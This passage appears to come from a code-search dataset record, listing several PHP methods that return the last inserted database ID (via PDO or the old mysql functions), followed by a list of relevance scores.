function last_insert_id() {\n\t\t\n\t\treturn $this->pdo->lastInsertId();\n\t\n\t}", "public function lastInsertID()\r\n {\r\n return @mysql_insert_id();\r\n }", "public function insert_id() {\n\t\treturn $this->db->lastInsertId();\n\t}", "public function getLastInsertId()\n {\n return $this->getHandler()->getConnection()->lastInsertId();\n }", "public static function lastInsertId(): string {\r\n return self::getConnection()->lastInsertId();\r\n }", "public function lastInsertId() {\r\n\t\tif ($this -> pdo) {\r\n\t\t\treturn $this -> link -> lastInsertId();\r\n\t\t} else {\r\n\t\t\treturn mysql_insert_id($this -> link);\r\n\t\t}\r\n\t}", "public function GetLastInsertID()\r\n\t{\r\n\t\treturn $this->last_insert_id;\r\n\t}" ]
[ "0.8779155", "0.87013996", "0.86889", "0.86277294", "0.86277294", "0.86277294", "0.8622041", "0.8598709", "0.8584819", "0.85580546", "0.85453475", "0.85453475", "0.85453475", "0.8527702", "0.85147333", "0.8494945", "0.84530175", "0.8435808", "0.8406997", "0.83938426", "0.8377786", "0.83649236", "0.8362987", "0.83622235", "0.8360336", "0.83433956", "0.8334977", "0.8333567", "0.83323157", "0.83292574", "0.83226895", "0.83211404", "0.83057874", "0.8296246", "0.8296055", "0.828704", "0.8286778", "0.8281279", "0.8268174", "0.8267049", "0.82534623", "0.82532555", "0.82522833", "0.8248477", "0.8247556", "0.82473236", "0.8247171", "0.8245783", "0.82360536", "0.82345605", "0.82322586", "0.82267827", "0.82206297", "0.8216168", "0.82161236", "0.82160735", "0.8209347", "0.82060015", "0.8205349", "0.81945163", "0.8194414", "0.81923145", "0.81912374", "0.81865966", "0.8180737", "0.81802475", "0.8173782", "0.8173782", "0.81711024", "0.8169586", "0.81637335", "0.81620574", "0.8157652", "0.8144809", "0.81397134", "0.81345034", "0.8132156", "0.8127151", "0.8127151", "0.81216776", "0.81178486", "0.8115514", "0.81094617", "0.81094617", "0.81094617", "0.81094617", "0.81094617", "0.81094617", "0.8102424", "0.8101457", "0.80964416", "0.8089685", "0.8087956", "0.8079649", "0.80760056", "0.80750084", "0.8073158", "0.8060204", "0.805995", "0.8052492", "0.804702" ]
0.0
-1